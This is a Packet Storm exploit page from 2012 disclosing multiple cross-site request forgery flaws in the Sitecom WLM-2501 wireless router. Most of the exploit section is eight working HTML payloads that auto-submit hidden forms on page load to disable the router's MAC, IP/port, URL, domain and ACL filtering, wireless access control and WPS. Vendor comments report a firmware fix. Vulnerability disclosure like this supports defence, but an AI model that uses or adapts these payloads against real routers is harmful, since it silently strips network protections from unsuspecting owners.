what you don't know can hurt you

Sitecom WLM-2501 Cross Site Request Forgery

Sitecom WLM-2501 Cross Site Request Forgery
Posted Mar 23, 2012
Authored by Ivano Binetti

Sitecom WLM-2501 suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
MD5 | 12ce2c29bd0d4723b3f6a1a9bd2a28fa

Sitecom WLM-2501 Cross Site Request Forgery

Change Mirror Download
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Sitecom WLM-2501 new Multiple CSRF Vulnerabilities
# Date : 22-03-2012
# Author : Ivano Binetti (http://www.ivanobinetti.com)
# Vendor site : http://www.sitecom.com/wireless-modem-router-300n/p/859
# Version : WLM-2501
# Tested on : WLM-2501 (All Sitecom WL series might be is affected by these vulnerabilities)
# Original Advisory: http://www.webapp-security.com/?p=75
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
2)Vulnerability Description
3)Exploit
3.1 Disable Mac Filtering
3.2 Disable IP/Port Filtering
3.3 Disable Port Forwarding
3.4 Disable Wireless Access Control
3.5 Disable Wi-Fi Protected Setup
3.6 Disable URL Blocking Filter
3.7 Disable Domain Blocking Filter
3.8 Disable IP Address ACL Filter

+--------------------------------------------------------------------------------------------------------------------------------+

1)Introduction
Sitecom WLM-2501 is a Wireless Modem Router 300N which uses a web management interface - listening to default on tcp/ip port 80
- and "admin" as default administrator. His default ip address is 192.168.0.1.


2)Vulnerability Description
The web interface of this router is affected by muktiple CSRF vulnerabilities which allows to change the following router's
parameters:
- Disable Mac Filtering
- Disable/Modify IP/Port Filtering
- Disable/Modify Port Forwarding
- Disable/Modify Wireless Access Control
- Disable Wi-Fi Protected Setup
- Disable/Modify URL Blocking Filter
- Disable/Modify Domain Blocking Filter
- Disable/Modify IP Address ACL
- Change Wireless Passphrase
- Enable/Modify Remote Access (also on WAN interface)


3)Exploit
3.1 Disable Mac Filtering
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Wireless Passphrase</H2>
<form method="POST" name="form0" action="http://192.168.0.1:80/goform/admin/formFilter">
<input type="hidden" name="outAct" value="1"/>
<input type="hidden" name="inAct" value="1"/>
<input type="hidden" name="setMacDft" value="Apply"/>
<input type="hidden" name="submit-url" value="/fw-macfilter.asp"/>
</form>
</body>
</html>
3.2 Disable IP/Port Filtering
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Wireless Passphrase</H2>
<form method="POST" name="form0" action="http://192.168.0.1:80/goform/formFilter">
<input type="hidden" name="outAct" value="1"/>
<input type="hidden" name="inAct" value="1"/>
<input type="hidden" name="setDefaultAction" value="Apply"/>
<input type="hidden" name="submit-url" value="/fw-ipportfilter.asp"/>
</form>
</body>
</html>
3.3 Disable Port Forwarding
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Wireless Passphrase</H2>
<form method="POST" name="form0" action="http://192.168.0.1:80/goform/formPortFw">
<input type="hidden" name="portFwcap" value="0"/>
<input type="hidden" name="apply" value="Apply"/>
<input type="hidden" name="select_id" value=""/>
<input type="hidden" name="submit-url" value="/fw-portfw.asp"/>
</form>
</body>
</html>
3.4 Disable Wireless Access Control
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Wireless Passphrase</H2>
<form method="POST" name="form0" action="http://192.168.0.1:80/goform/admin/formWlAc">
<input type="hidden" name="wlanAcEnabled" value="0"/>
<input type="hidden" name="setFilterMode" value="Apply"/>
<input type="hidden" name="submit-url" value="/wlactrl.asp"/>
</form>
</body>
</html>
3.5 Disable Wi-Fi Protected Setup
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Wireless Passphrase</H2>
<form method="POST" name="form0" action="http://192.168.0.1:80/goform/formWsc">
<input type="hidden" name="wlanDisabled" value="OFF"/>
<input type="hidden" name="disableWPS" value="ON"/>
<input type="hidden" name="submit-url" value="/wlwps.asp"/>
<input type="hidden" name="save" value="Apply"/>
</form>
</body>
</html>
3.6 Disable URL Blocking Filter
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Wireless Passphrase</H2>
<form method="POST" name="form0" action="http://192.168.0.1:80/goform/formURL">
<input type="hidden" name="urlcap" value="0"/>
<input type="hidden" name="apply" value="Apply"/>
<input type="hidden" name="urlFQDN" value=""/>
<input type="hidden" name="Keywd" value=""/>
<input type="hidden" name="submit-url" value="/url_blocking.asp"/>
</form>
</body>
</html>
3.7 Disable Domain Blocking Filter
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Wireless Passphrase</H2>
<form method="POST" name="form0" action="http://192.168.0.1:80/goform/formDOMAINBLK">
<input type="hidden" name="domainblkcap" value="0"/>
<input type="hidden" name="apply" value="Apply"/>
<input type="hidden" name="blkDomain" value=""/>
<input type="hidden" name="submit-url" value="/domainblk.asp"/>
</form>
</body>
</html>
3.8 Disable IP Address ACL Filter
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Wireless Passphrase</H2>
<form method="POST" name="form0" action="http://192.168.0.1:80/goform/admin/formACL">
<input type="hidden" name="lan_ip" value="192.168.0.1"/>
<input type="hidden" name="lan_mask" value="255.255.255.0"/>
<input type="hidden" name="aclcap" value="0"/>
<input type="hidden" name="apply" value="Apply"/>
<input type="hidden" name="enable" value="1"/>
<input type="hidden" name="interface" value="0"/>
<input type="hidden" name="aclIP" value=""/>
<input type="hidden" name="aclMask" value=""/>
<input type="hidden" name="submit-url" value="/acl.asp"/>
</form>
</body>
</html>
+--------------------------------------------------------------------------------------------------------------------------------+

Comments (2)

RSS Feed Subscribe to this comment feed
sitecom

Dear Mr. Binetti,

We've successfully fixed the above mentioned CSRF Vulnerability issue in firmware 1.03 for the WLM-2501. This firmware has been made available on our website and in the automatic firmware upgrade function that is implemented in the WLM-2501.

Kind regards,

Sitecom Europe BV
R&D Department

Comment by sitecom
2012-03-30 10:04:49 UTC | Permalink | Reply
ibinetti

Great job, great company!

Best regards,
Ivano Binetti

Comment by ibinetti
2012-03-30 14:26:40 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close